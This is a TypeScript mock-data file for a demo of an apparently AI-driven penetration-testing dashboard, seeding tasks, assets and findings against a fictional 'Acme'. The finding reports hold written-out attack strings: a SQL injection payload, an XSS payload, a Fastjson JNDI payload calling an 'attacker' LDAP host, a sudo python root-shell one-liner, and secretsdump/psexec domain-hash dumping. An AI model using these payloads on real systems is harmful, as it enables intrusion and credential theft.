Files
ARTEX/web/src/lib/mock/data.ts
T
BaaRai 2218480eba feat: show and filter the decided_by actor in the approval records
The approval list and detail return decided_by exactly as stored, and the
decided_by filter matches that same value. Rows decided before the column
existed show "Legacy" and match no decided_by filter; their decision_source
stays in its own column and nothing is rewritten.

UI: a "Decided by" column (Human, Rule, Model, System) and a matching filter
beside the decision-source filter, including "AI-approved only" for model.
Types and the API query carry decided_by the same way decision_source does.
2026-11-09 22:35:09 +01:00

4225 lines
139 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// Rich mock dataset for the Vercel demo (NEXT_PUBLIC_MOCK=1). Shapes track the
// current backend contract in lib/api.ts + lib/types.ts. All data is static and
// self-consistent (one company "Acme", a few tasks, findings, exploration graph,
// sessions/activity, traffic, agents, etc.) so every page looks populated.
import type {
Activity,
Agent,
AgentDetail,
Asset,
Audit,
Company,
Conversation,
ConvTokenSummary,
DailyTokenBucket,
Edge,
Finding,
FindingAsset,
InterceptApprovalRow,
InterceptAudit,
InterceptPending,
InterceptRule,
LLMPoolStatus,
LLMProfile,
LLMTask,
MCPServer,
MCPTool,
MissingSkill,
PromptVar,
PromptVersion,
SessionTokenUsage,
Settings,
SkillCall,
SkillItem,
Stats,
Task,
TaskCategory,
TaskNode,
TaskTemplate,
TokenTotal,
TokenUsage,
Tool,
TrafficDetail,
TrafficHost,
TrafficResp,
} from "@/lib/types";
const T = (iso: string) => iso; // readability helper for timestamps
// ── Tasks ──────────────────────────────────────────────────────────────────
export const ACTIVE_TASK = "t-acme-web";
export const tasks: Task[] = [
{
id: "t-acme-web",
category_id: 1,
category_name: "External assessment",
description: "External penetration of the Acme official site and admin (acme.com)",
goal: "Gain admin access to acme.com and confirm user sensitive data can be read.",
status: "running",
created_at: T("2026-07-24T09:12:00Z"),
created_unix: 1785489120,
last_activity: T("2026-07-26T03:58:22Z"),
last_activity_unix: 1785643102,
paused: false,
active: true,
in_flight: 3,
findings: { critical: 1, high: 2, medium: 1, low: 0 },
stalled: false,
goals_total: 5,
goals_met: 2,
engine_mode: "exploring",
llm_profile_id: 1,
llm_profile_ids: [1, 2],
active_llm_profile_id: 1,
llm_failover_state: "ready",
source_task_ids: [],
tokens: { input_tokens: 1284500, output_tokens: 96320, cache_read_tokens: 890400, cache_write_tokens: 132000 },
},
{
id: "t-acme-api",
category_id: 2,
category_name: "API focus",
description: "Authorization bypass and injection testing on api.acme.com",
goal: "Assess authorization bypass (IDOR) and injection risks on the api.acme.com order/user APIs.",
status: "running",
created_at: T("2026-07-25T14:05:00Z"),
created_unix: 1785592500,
last_activity: T("2026-07-26T03:40:10Z"),
last_activity_unix: 1785642010,
paused: false,
active: false,
in_flight: 2,
findings: { critical: 0, high: 1, medium: 1, low: 0 },
stalled: false,
goals_total: 4,
goals_met: 1,
engine_mode: "exploring",
llm_profile_id: 1,
llm_profile_ids: [1, 2],
active_llm_profile_id: 1,
llm_failover_state: "ready",
source_task_ids: ["t-acme-web"],
tokens: { input_tokens: 642300, output_tokens: 51200, cache_read_tokens: 401000, cache_write_tokens: 60000 },
},
{
id: "t-shop-pay",
category_id: 2,
category_name: "API focus",
description: "shop.acme.com payment and order flows",
goal: "Assess authorization bypass, amount tampering and race condition risks on the payment and order APIs.",
status: "paused",
created_at: T("2026-07-22T08:30:00Z"),
created_unix: 1785313800,
last_activity: T("2026-07-23T18:40:10Z"),
last_activity_unix: 1785436810,
paused: true,
active: false,
in_flight: 0,
stalled: false,
goals_total: 4,
goals_met: 1,
engine_mode: "paused",
llm_profile_id: 2,
llm_profile_ids: [2, 1],
active_llm_profile_id: 2,
llm_failover_state: "ready",
source_task_ids: ["t-acme-web", "t-acme-api"],
tokens: { input_tokens: 233000, output_tokens: 18700, cache_read_tokens: 120000, cache_write_tokens: 22000 },
},
{
id: "t-vpn-edge",
category_id: 1,
category_name: "External assessment",
description: "External attack surface reconnaissance (VPN / perimeter services)",
goal: "Identify exploitable perimeter services exposed by acme.com.",
status: "done",
created_at: T("2026-07-18T08:00:00Z"),
created_unix: 1784966400,
completed_at: T("2026-07-20T22:11:00Z"),
completed_unix: 1785190260,
last_activity: T("2026-07-20T22:11:00Z"),
last_activity_unix: 1785190260,
paused: false,
active: false,
in_flight: 0,
stalled: false,
goals_total: 3,
goals_met: 3,
engine_mode: "idle",
llm_profile_id: 1,
llm_profile_ids: [1],
active_llm_profile_id: 1,
llm_failover_state: "ready",
source_task_ids: [],
tokens: { input_tokens: 512000, output_tokens: 40100, cache_read_tokens: 300000, cache_write_tokens: 41000 },
},
];
export const taskCategories: TaskCategory[] = [
{
id: 1,
name: "External assessment",
task_count: 2,
created_at: T("2026-07-18T08:00:00Z"),
updated_at: T("2026-07-25T08:00:00Z"),
},
{
id: 2,
name: "API focus",
task_count: 2,
created_at: T("2026-07-19T08:00:00Z"),
updated_at: T("2026-07-24T08:00:00Z"),
},
];
export const taskTemplates: TaskTemplate[] = [
{
id: 1,
name: "External web penetration",
description: "Black-box penetration testing of the target's internet-facing exposure, covering sites, APIs and common admin entry points.",
goal: "Identify and verify security issues that could lead to unauthorized access, sensitive data exposure or server compromise.",
created_at: T("2026-07-20T08:00:00Z"),
updated_at: T("2026-07-25T08:00:00Z"),
},
{
id: 2,
name: "API authorization bypass focus",
description: "Focused testing of the target API's authentication, object-level authorization and role boundaries.",
goal: "Confirm whether IDOR, horizontal and vertical privilege escalation, and bulk data access risks exist.",
created_at: T("2026-07-19T08:00:00Z"),
updated_at: T("2026-07-24T08:00:00Z"),
},
];
export const getTask = (id: string) => tasks.find((t) => t.id === id);
const grandTotal: TokenTotal = tasks.reduce(
(a, t) => ({
input_tokens: a.input_tokens + (t.tokens?.input_tokens ?? 0),
output_tokens: a.output_tokens + (t.tokens?.output_tokens ?? 0),
cache_read_tokens: a.cache_read_tokens + (t.tokens?.cache_read_tokens ?? 0),
cache_write_tokens: a.cache_write_tokens + (t.tokens?.cache_write_tokens ?? 0),
}),
{ input_tokens: 0, output_tokens: 0, cache_read_tokens: 0, cache_write_tokens: 0 },
);
// ── Stats ──────────────────────────────────────────────────────────────────
export function stats(
taskId?: string,
state: { tasks?: readonly Task[]; findings?: readonly Finding[]; activeTask?: string } = {},
): Stats & { active_task?: unknown } {
const taskList = state.tasks ?? tasks;
const findingList = state.findings ?? findings;
const base: Stats = {
assets: assets.length,
engine_mode: "exploring",
llm_configured: true,
roe_enabled: true,
findings_confirmed: findingList.filter((f) => f.severity !== "low").length,
};
const selectedTaskID = taskId ?? state.activeTask ?? ACTIVE_TASK;
const t = taskList.find((item) => item.id === selectedTaskID);
if (!t) return base;
return {
...base,
engine_mode: t.engine_mode ?? "idle",
findings_confirmed: findingList.filter((f) => f.task_id === t.id).length,
active_task: {
id: t.id,
in_flight: t.in_flight,
goals_total: t.goals_total,
goals_met: t.goals_met,
engine_mode: t.engine_mode,
paused: t.paused,
},
};
}
// ── Company + Assets (new unified model) ─────────────────────────────────────
export const companies: Company[] = [
{
id: 1,
name: "Acme Corp",
logo: "",
asset_count: 18,
scope: [
{ id: 1, company_id: 1, kind: "domain", domain: "acme.com", raw: "acme.com", reason: "primary domain" },
{ id: 2, company_id: 1, kind: "cidr", net: "203.0.113.0/24", raw: "203.0.113.0/24" },
{ id: 3, company_id: 1, kind: "ip", net: "198.51.100.20", raw: "198.51.100.20" },
],
},
];
export const assets: Asset[] = [
{
id: 1,
type: "root_domain",
company_id: 1,
task_ids: [1],
domain: "acme.com",
root_domain: "acme.com",
icp: "Beijing ICP filing 2021xxxx",
record_type: "A",
record_value: ["203.0.113.10"],
last_seen: T("2026-07-26T02:00:00Z"),
},
{
id: 2,
type: "subdomain",
company_id: 1,
task_ids: [1],
domain: "www.acme.com",
root_domain: "acme.com",
record_type: "CNAME",
record_value: "acme.com",
last_seen: T("2026-07-26T02:01:00Z"),
},
{
id: 3,
type: "subdomain",
company_id: 1,
task_ids: [2],
domain: "api.acme.com",
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.11"],
last_seen: T("2026-07-26T02:02:00Z"),
},
{
id: 4,
type: "subdomain",
company_id: 1,
task_ids: [3],
domain: "shop.acme.com",
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.12"],
last_seen: T("2026-07-26T02:03:00Z"),
},
{
id: 5,
type: "subdomain",
company_id: 1,
task_ids: [4],
domain: "vpn.acme.com",
root_domain: "acme.com",
record_type: "A",
record_value: ["198.51.100.20"],
last_seen: T("2026-07-20T02:00:00Z"),
},
{
id: 6,
type: "subdomain",
company_id: 1,
task_ids: [1],
domain: "admin.acme.com",
root_domain: "acme.com",
record_type: "A",
record_value: ["203.0.113.10"],
last_seen: T("2026-07-26T02:04:00Z"),
},
{
id: 7,
type: "ip",
company_id: 1,
task_ids: [1, 2],
ip: "203.0.113.10",
c_segment: "203.0.113.0",
open_ports: [
{ port: 80, service: "http" },
{ port: 443, service: "https" },
{ port: 22, service: "ssh" },
],
last_seen: T("2026-07-26T02:05:00Z"),
},
{
id: 8,
type: "ip",
company_id: 1,
task_ids: [2],
ip: "203.0.113.11",
c_segment: "203.0.113.0",
open_ports: [{ port: 443, service: "https" }],
last_seen: T("2026-07-26T02:06:00Z"),
},
{
id: 9,
type: "ip",
company_id: 1,
task_ids: [4],
ip: "198.51.100.20",
c_segment: "198.51.100.0",
open_ports: [
{ port: 443, service: "https" },
{ port: 500, service: " isakmp" },
],
last_seen: T("2026-07-20T02:00:00Z"),
},
{
id: 10,
type: "service",
company_id: 1,
task_ids: [1],
ip: "203.0.113.10",
port: 443,
service_type: "https",
service_name: "nginx/1.24.0",
last_seen: T("2026-07-26T02:07:00Z"),
},
{
id: 11,
type: "service",
company_id: 1,
task_ids: [4],
ip: "198.51.100.20",
port: 22,
service_type: "ssh",
service_name: "OpenSSH 8.9p1",
last_seen: T("2026-07-20T02:00:00Z"),
},
{
id: 12,
type: "app",
company_id: 1,
task_ids: [1],
url: "https://www.acme.com",
app_name: "Acme official site",
category: "corp",
status_code: 200,
content_length: 48213,
page_title: "Acme Corp — Official Website",
technologies: ["Nginx", "React", "Cloudflare"],
favicon_mmh3: "-1580860059",
last_seen: T("2026-07-26T02:08:00Z"),
},
{
id: 13,
type: "app",
company_id: 1,
task_ids: [1],
url: "https://admin.acme.com",
app_name: "Admin console",
category: "admin",
status_code: 200,
content_length: 12044,
page_title: "Acme Admin Login",
technologies: ["Nginx", "Vue", "Element-UI"],
last_seen: T("2026-07-26T02:09:00Z"),
},
{
id: 14,
type: "app",
company_id: 1,
task_ids: [2],
url: "https://api.acme.com",
app_name: "REST API",
category: "api",
status_code: 401,
content_length: 45,
page_title: "",
technologies: ["Kong", "Node.js"],
last_seen: T("2026-07-26T02:10:00Z"),
},
{
id: 15,
type: "endpoint",
company_id: 1,
task_ids: [2],
url: "https://api.acme.com/v1/orders",
method: "GET",
status_code: 200,
params: [
{ name: "id", in: "query" },
{ name: "page", in: "query" },
],
last_seen: T("2026-07-26T02:11:00Z"),
},
{
id: 16,
type: "endpoint",
company_id: 1,
task_ids: [2],
url: "https://api.acme.com/v1/users/me",
method: "GET",
status_code: 200,
last_seen: T("2026-07-26T02:12:00Z"),
},
{
id: 17,
type: "endpoint",
company_id: 1,
task_ids: [1],
url: "https://admin.acme.com/login",
method: "POST",
status_code: 200,
params: [{ name: "username" }, { name: "password" }],
last_seen: T("2026-07-26T02:13:00Z"),
},
{
id: 18,
type: "endpoint",
company_id: 1,
task_ids: [1],
url: "https://www.acme.com/search",
method: "GET",
status_code: 200,
params: [{ name: "q", in: "query" }],
last_seen: T("2026-07-26T02:14:00Z"),
},
// Internal assets (DMZ → internal lateral discovery)
{
id: 19,
type: "ip",
company_id: 1,
task_ids: [1],
ip: "10.0.20.15",
c_segment: "10.0.20.0",
open_ports: [
{ port: 80, service: "http" },
{ port: 22, service: "ssh" },
],
last_seen: T("2026-07-25T15:40:00Z"),
},
{
id: 20,
type: "ip",
company_id: 1,
task_ids: [1],
ip: "10.10.10.10",
c_segment: "10.10.10.0",
open_ports: [
{ port: 88, service: "kerberos" },
{ port: 389, service: "ldap" },
{ port: 445, service: "smb" },
],
last_seen: T("2026-07-25T21:00:00Z"),
},
{
id: 21,
type: "ip",
company_id: 1,
task_ids: [1],
ip: "10.10.10.5",
c_segment: "10.10.10.0",
open_ports: [{ port: 445, service: "smb" }],
last_seen: T("2026-07-25T21:00:00Z"),
},
{
id: 22,
type: "ip",
company_id: 1,
task_ids: [1],
ip: "10.10.10.20",
c_segment: "10.10.10.0",
open_ports: [{ port: 8080, service: "http-proxy" }],
last_seen: T("2026-07-25T21:00:00Z"),
},
{
id: 23,
type: "service",
company_id: 1,
task_ids: [1],
ip: "10.10.10.20",
port: 8080,
service_type: "http",
service_name: "Jenkins 2.289",
last_seen: T("2026-07-25T21:35:00Z"),
},
{
id: 24,
type: "service",
company_id: 1,
task_ids: [1],
ip: "10.10.10.10",
port: 445,
service_type: "smb",
service_name: "Windows Server 2019 DC",
last_seen: T("2026-07-25T23:55:00Z"),
},
{
id: 25,
type: "app",
company_id: 1,
task_ids: [1],
url: "http://10.10.10.20:8080",
app_name: "Jenkins (internal)",
category: "ci",
status_code: 200,
content_length: 14200,
page_title: "Jenkins Dashboard",
technologies: ["Jenkins", "Java"],
last_seen: T("2026-07-25T21:35:00Z"),
},
{
id: 26,
type: "endpoint",
company_id: 1,
task_ids: [1],
url: "http://10.10.10.20:8080/script",
method: "GET",
status_code: 200,
last_seen: T("2026-07-25T21:35:00Z"),
},
];
export const assetCounts: Record<string, number> = assets.reduce<Record<string, number>>((m, a) => {
m[a.type] = (m[a.type] ?? 0) + 1;
return m;
}, {});
// assetRef turns an asset id into the asset reference attached to a finding (label follows the same
// priority order as the backend coverageNodeLabel: URL > domain > IP > app name). The "By asset" view's tree relies on these references
// to attach findings to assets.
function assetRef(id: number): FindingAsset {
const asset = assets.find((candidate) => candidate.id === id);
if (!asset) throw new Error(`mock assetRef: unknown asset ${id}`);
return {
id: String(id),
type: asset.type,
label: asset.url || asset.domain || asset.ip || asset.app_name || String(id),
};
}
// ── Findings ─────────────────────────────────────────────────────────────────
export const findings: Finding[] = [
{
id: "f-1",
assets: [assetRef(18)],
vulnclass: "SQL Injection",
name: "Error-based SQL injection in the site search API",
severity: "high",
status: "pending",
report:
'## Vulnerability Overview\n\n`www.acme.com/search` has **error-based SQL injection** (MSSQL) in the `q` parameter, allowing reads of the database version, schema and even sensitive data.\n\n## Impact\n\n- The table structure and user/order data of the `acme_prod` database can be read\n- Error echo makes it quick to build exploits; high risk\n\n## Reproduction Steps\n\n1. Trigger the error-based injection:\n\n```\nGET /search?q=1\' AND 1=CONVERT(int,@@version)--\n```\n\n2. The response echoes the MSSQL version error, confirming injectability\n3. Enumerate databases further: `sqlmap -u "https://www.acme.com/search?q=1" --dbs`\n\n## Remediation\n\n- Switch everything to parameterized queries / prepared statements and eliminate string concatenation\n- Disable verbose error echo in production\n- Least privilege for the database account; disable dangerous extensions such as `xp_cmdshell`\n',
summary: "Error-based SQL injection in the q parameter of www.acme.com/search",
evidence: "GET /search?q=1' AND 1=CONVERT(int,@@version)-- → returns an MSSQL version error; the schema can be read.",
intent_id: "i-2",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-26T01:20:00Z"),
},
{
id: "f-2",
assets: [assetRef(15)],
vulnclass: "IDOR",
severity: "high",
status: "pending",
summary: "api.acme.com/v1/orders?id= can read other users' orders without authorization",
evidence: "Changing id=1001 to id=1002 returns another user's order (including shipping address and phone number); no ownership check.",
intent_id: "i-5",
task_id: "t-acme-api",
task_description: "Authorization bypass and injection testing on api.acme.com",
ts: T("2026-07-26T02:44:00Z"),
},
{
id: "f-3",
assets: [assetRef(3)],
vulnclass: "Weak JWT",
severity: "high",
status: "pending",
summary: "API JWT uses a weak key and can be cracked offline to forge tokens",
evidence: "HS256 with the key 'secret'; john cracks it in 5 seconds → any sub can be forged to bypass authorization.",
task_id: "t-acme-api",
task_description: "Authorization bypass and injection testing on api.acme.com",
ts: T("2026-07-26T03:02:00Z"),
},
{
id: "f-4",
assets: [assetRef(18)],
vulnclass: "Reflected XSS",
severity: "medium",
status: "pending",
summary: "Search page does not escape the q parameter; reflected XSS",
evidence: "q=<script>alert(document.domain)</script> is echoed verbatim in the result title.",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T22:10:00Z"),
},
{
id: "f-5",
assets: [assetRef(2)],
vulnclass: "Exposed .git",
severity: "medium",
status: "pending",
summary: "www.acme.com exposes the .git directory; source code can be recovered",
evidence: "GET /.git/HEAD → 200; git-dumper recovered the backend source with a commented database connection string.",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T20:30:00Z"),
},
{
id: "f-6",
assets: [assetRef(17)],
vulnclass: "Default Credentials",
severity: "high",
status: "pending",
summary: "admin.acme.com admin console uses the default credentials admin/admin123",
evidence: "Login succeeded, entered the admin console, and can manage users and orders.",
intent_id: "i-3",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-26T03:50:00Z"),
},
{
id: "f-7",
assets: [assetRef(17)],
vulnclass: "Open Redirect",
severity: "low",
status: "pending",
summary: "The next parameter after login allows arbitrary redirects",
evidence: "/login?next=https://evil.example redirects 302 to an external site after login.",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T19:12:00Z"),
},
{
id: "f-8",
assets: [assetRef(17)],
vulnclass: "Missing Rate Limit",
severity: "medium",
status: "pending",
summary: "Login endpoint has no rate limit and can be brute-forced",
evidence: "1000 attempts/minute with no lockout and no captcha.",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T18:40:00Z"),
},
{
id: "f-9",
assets: [assetRef(16)],
vulnclass: "Verbose Error",
severity: "low",
status: "pending",
summary: "API 500 returns a stack trace, leaking paths and framework versions",
evidence: "A triggered 500 returned a Node.js stack trace, leaking absolute paths and dependency versions.",
task_id: "t-acme-api",
task_description: "Authorization bypass and injection testing on api.acme.com",
ts: T("2026-07-25T23:05:00Z"),
},
{
id: "f-10",
assets: [assetRef(4)],
vulnclass: "Outdated Component",
severity: "medium",
status: "pending",
summary: "shop uses an outdated component with a known RCE",
evidence: "Fingerprinting identified component v2.3.1, matching the CVE-2024-xxxx deserialization RCE.",
task_id: "t-shop-pay",
task_description: "shop.acme.com payment and order flows",
ts: T("2026-07-23T15:00:00Z"),
},
// ── High findings along the external→internal kill chain (active task) ──
{
id: "f-11",
vulnclass: "Hardcoded Credentials",
severity: "high",
status: "pending",
summary: "Hardcoded database credentials sa/Acme@2021 in the leaked source",
evidence: "git-dumper recovered www.acme.com/.git and obtained config.php containing a plaintext DB password, later confirmed to be reusable internally.",
intent_id: "ig",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T20:36:00Z"),
},
{
id: "f-12",
assets: [assetRef(4)],
vulnclass: "Deserialization RCE",
name: "Fastjson deserialization remote command execution on the shop mall",
severity: "critical",
status: "confirmed",
report:
'## Vulnerability Overview\n\nThe `/api/import` endpoint of `shop.acme.com` uses **Fastjson 1.2.24** to parse user-controlled JSON without `safeMode` enabled; an attacker can designate an arbitrary class via `@type` to trigger **JNDI injection → remote command execution**.\n\n## Impact\n\n- An unauthenticated attacker can execute arbitrary commands on the DMZ web server (`www-data@dmz-web01`)\n- Combined with later privilege escalation, it becomes a foothold into the internal network\n\n## Reproduction Steps\n\n1. Build the JNDI payload:\n\n```json\n{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}\n```\n\n2. `POST /api/import`, `Content-Type: application/json`\n3. The target calls back to dnslog and a reverse shell lands\n\n## Remediation\n\n- Upgrade Fastjson to **1.2.83+** and enable `safeMode`\n- Add authentication and origin validation to `/api/import`\n- Egress restriction: forbid business servers from initiating LDAP/RMI connections\n',
summary: "Fastjson 1.2.24 deserialization remote command execution on shop.acme.com",
evidence:
"POST /api/import with a JNDI payload (@type:JdbcRowSetImpl) → calls back to dnslog and lands a reverse shell (www-data@dmz-web01).",
intent_id: "i7",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T15:40:00Z"),
},
{
id: "f-13",
assets: [assetRef(19)],
vulnclass: "Privilege Escalation",
severity: "high",
status: "pending",
summary: "DMZ foothold sudo NOPASSWD misconfiguration allows local privilege escalation to root",
evidence:
"sudo -l shows (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' gets root directly.",
intent_id: "i8",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T16:20:00Z"),
},
{
id: "f-14",
assets: [assetRef(19), assetRef(21)],
vulnclass: "Network Segmentation",
severity: "medium",
status: "pending",
summary: "DMZ host has dual NICs directly connected to the internal network; perimeter isolation is broken",
evidence: "dmz-web01's second NIC is on 10.10.10.0/24 and can reach the domain controller/file server/Jenkins directly from the DMZ, bypassing network segmentation.",
intent_id: "i9",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T21:00:00Z"),
},
{
id: "f-15",
assets: [assetRef(26)],
vulnclass: "Unauthenticated RCE",
severity: "high",
status: "pending",
summary: "Unauthenticated Script Console remote command execution on the internal Jenkins",
evidence:
"GET /script executes Groovy without login: 'whoami'.execute().text → SYSTEM; also exported the domain account acme\\svc_deploy from the credentials store.",
intent_id: "i11",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T21:50:00Z"),
},
{
id: "f-16",
assets: [assetRef(21)],
vulnclass: "Kerberoasting",
severity: "high",
status: "pending",
summary: "Domain service account svc_sql is Kerberoastable with a weak password",
evidence: "GetUserSPNs requested svc_sql's TGS; hashcat -m 13100 cracked Sql@2020 offline; the account is in the SQL admin group.",
intent_id: "i12",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-25T23:20:00Z"),
},
{
id: "f-17",
assets: [assetRef(20)],
vulnclass: "Domain Compromise",
name: "Full control of the internal domain controller DC01 (Domain Admin)",
severity: "critical",
status: "confirmed",
report:
"## Vulnerability Overview\n\nA DMZ foothold was gained via the external Fastjson RCE, then sudo privilege escalation, dual-NIC traversal and the unauthenticated Jenkins RCE yielded the domain account `svc_deploy`; the account belongs to **Domain Admins**, giving full control of the domain controller **DC01**.\n\n## Impact\n\n- Domain administrator access obtained; all hosts and accounts in the domain can be controlled\n- `secretsdump` exported the whole domain's NTLM hashes (including `krbtgt`), enabling golden tickets for long-term persistence\n- Internal target met\n\n## Reproduction Steps\n\n1. Log in as `svc_deploy` and export hashes:\n\n```\npsexec.py acme/svc_deploy@10.10.10.10\nsecretsdump.py acme/svc_deploy@10.10.10.10\n```\n\n2. Obtain SYSTEM on DC01 and export every hash in the domain\n\n## Remediation\n\n- Trim service account privileges, move them out of Domain Admins, and enforce tiering\n- Reset `krbtgt` twice in a row and rotate service account passwords to strong ones\n- Fix the DMZ→internal perimeter isolation and the RCE/privilege escalation chain above\n",
summary: "Domain controller DC01 taken (Domain Admin) — internal target met",
evidence:
"svc_deploy belongs to Domain Admins; psexec.py logged into DC01 with it to get SYSTEM, and secretsdump exported the whole domain's NTLM hashes (including krbtgt), completing control of the target.",
intent_id: "i13",
task_id: "t-acme-web",
task_description: "External penetration of the Acme official site and admin",
ts: T("2026-07-26T00:20:00Z"),
},
];
// ── Exploration graph (active task) ──────────────────────────────────────────
// Current model: the root is a fact/state=origin (rendered as "Origin"); payload is a JSON string,
// goals read text and everything else reads summary. Structure: root→goal(spawns)→intent(spawns)→fact/finding(yields),
// finding→goal(proves), hint→intent(derived_from).
const P = (o: Record<string, string>) => JSON.stringify(o);
export const explorationGraph: { nodes: TaskNode[]; edges: Edge[] } = {
nodes: [
{
id: "root",
type: "fact",
payload: P({ summary: "Root: acme.com external→internal in-depth penetration" }),
priority: 0,
state: "origin",
origin: "system",
ts: T("2026-07-24T09:12:00Z"),
},
// ── Goals (decomposed by the goals agent, escalating toward the internal target as findings arrive) ──
{
id: "g1",
type: "goal",
payload: P({ text: "Gain admin access to acme.com" }),
priority: 9,
state: "met",
origin: "goals",
ts: T("2026-07-24T09:13:00Z"),
},
{
id: "g2",
type: "goal",
payload: P({ text: "Read user sensitive data" }),
priority: 8,
state: "open",
origin: "goals",
ts: T("2026-07-24T09:13:00Z"),
},
{
id: "g3",
type: "goal",
payload: P({ text: "Break through the DMZ from the outside and establish an internal foothold" }),
priority: 9,
state: "met",
origin: "goals",
ts: T("2026-07-25T14:10:00Z"),
},
{
id: "g4",
type: "goal",
payload: P({ text: "Move laterally internally and take the internal target domain controller DC01" }),
priority: 10,
state: "met",
origin: "goals",
ts: T("2026-07-25T20:00:00Z"),
},
// ── Layer 1 · External reconnaissance / external findings ──
{
id: "i1",
type: "intent",
payload: P({ summary: "acme.com subdomain enumeration and port scanning" }),
priority: 6,
state: "done",
origin: "planner",
ts: T("2026-07-24T09:20:00Z"),
},
{
id: "i2",
type: "intent",
payload: P({ summary: "Admin console default / weak credential testing" }),
priority: 9,
state: "done",
origin: "planner",
ts: T("2026-07-26T03:30:00Z"),
},
{
id: "i3",
type: "intent",
payload: P({ summary: "Enumerate admin console features and user data APIs" }),
priority: 8,
state: "running",
origin: "planner",
ts: T("2026-07-26T03:55:00Z"),
},
{
id: "i4",
type: "intent",
payload: P({ summary: "SQL injection probing on the www.acme.com/search page" }),
priority: 8,
state: "done",
origin: "planner",
ts: T("2026-07-25T22:00:00Z"),
},
{
id: "i5",
type: "intent",
payload: P({ summary: "Authorization bypass (IDOR) testing on the api.acme.com order API" }),
priority: 8,
state: "running",
origin: "planner",
ts: T("2026-07-26T02:30:00Z"),
},
{
id: "ig",
type: "intent",
payload: P({ summary: "www.acme.com .git source leak and hardcoded credential extraction" }),
priority: 7,
state: "done",
origin: "planner",
ts: T("2026-07-25T20:20:00Z"),
},
// ── Layer 2 · Breaking through the DMZ to establish a foothold ──
{
id: "i6",
type: "intent",
payload: P({ summary: "shop.acme.com component fingerprinting and CVE correlation" }),
priority: 7,
state: "done",
origin: "planner",
ts: T("2026-07-25T14:20:00Z"),
},
{
id: "i7",
type: "intent",
payload: P({ summary: "Trigger the shop deserialization RCE and obtain a reverse shell" }),
priority: 9,
state: "done",
origin: "planner",
ts: T("2026-07-25T15:10:00Z"),
},
{
id: "i8",
type: "intent",
payload: P({ summary: "Local information gathering on the DMZ foothold and escalation to root" }),
priority: 8,
state: "done",
origin: "planner",
ts: T("2026-07-25T16:00:00Z"),
},
// ── Layer 3 · Internal lateral depth (multi-layer testing) ──
{
id: "i9",
type: "intent",
payload: P({ summary: "Internal host discovery using the foothold as a pivot" }),
priority: 8,
state: "done",
origin: "planner",
ts: T("2026-07-25T20:30:00Z"),
},
{
id: "i10",
type: "intent",
payload: P({ summary: "Internal credential reuse and password spraying" }),
priority: 8,
state: "running",
origin: "planner",
ts: T("2026-07-26T03:40:00Z"),
},
{
id: "i11",
type: "intent",
payload: P({ summary: "Unauthenticated Groovy script execution (RCE) on the internal Jenkins" }),
priority: 9,
state: "done",
origin: "planner",
ts: T("2026-07-25T21:30:00Z"),
},
{
id: "i12",
type: "intent",
payload: P({ summary: "Kerberoast domain service accounts and crack them offline" }),
priority: 8,
state: "done",
origin: "planner",
ts: T("2026-07-25T22:40:00Z"),
},
{
id: "i13",
type: "intent",
payload: P({ summary: "Log in with domain admin credentials and take the domain controller DC01" }),
priority: 10,
state: "done",
origin: "planner",
ts: T("2026-07-25T23:50:00Z"),
},
// ── Facts ──
{
id: "fa1",
type: "fact",
payload: P({ summary: "Discovered the subdomain admin.acme.com (Element-UI admin console)" }),
priority: 0,
state: "open",
origin: "work#1",
ts: T("2026-07-24T09:40:00Z"),
},
{
id: "fa2",
type: "fact",
payload: P({ summary: "The q parameter on the search page is an error-based injection point (MSSQL)" }),
priority: 0,
state: "open",
origin: "work#4",
ts: T("2026-07-25T22:05:00Z"),
},
{
id: "faGit",
type: "fact",
payload: P({ summary: ".git is downloadable; git-dumper recovered the backend source" }),
priority: 0,
state: "open",
origin: "workG",
ts: T("2026-07-25T20:30:00Z"),
},
{
id: "faCreds",
type: "fact",
payload: P({ summary: "config.php in the source hardcodes the DB password sa / Acme@2021 (suspected shared internally)" }),
priority: 0,
state: "open",
origin: "workG",
ts: T("2026-07-25T20:35:00Z"),
},
{
id: "fa3",
type: "fact",
payload: P({ summary: "shop fingerprint matched Fastjson 1.2.24 (known deserialization RCE)" }),
priority: 0,
state: "open",
origin: "work#6",
ts: T("2026-07-25T14:40:00Z"),
},
{
id: "fa4",
type: "fact",
payload: P({ summary: "Reverse shell succeeded: www-data@dmz-web01(10.0.20.15), in the DMZ segment" }),
priority: 0,
state: "open",
origin: "work#7",
ts: T("2026-07-25T15:40:00Z"),
},
{
id: "fa5",
type: "fact",
payload: P({ summary: "sudo -l: (ALL) NOPASSWD: /usr/bin/python3 → escalation to root possible" }),
priority: 0,
state: "open",
origin: "work#8",
ts: T("2026-07-25T16:20:00Z"),
},
{
id: "fa6",
type: "fact",
payload: P({ summary: "The foothold's second NIC connects directly to 10.10.10.0/24 (crossing the DMZ boundary)" }),
priority: 0,
state: "open",
origin: "work#9",
ts: T("2026-07-25T20:40:00Z"),
},
{
id: "fa7",
type: "fact",
payload: P({ summary: "Alive internally: 10.10.10.10 DC01 (domain controller) / 10.10.10.5 FS01 (SMB) / 10.10.10.20 JENKINS" }),
priority: 0,
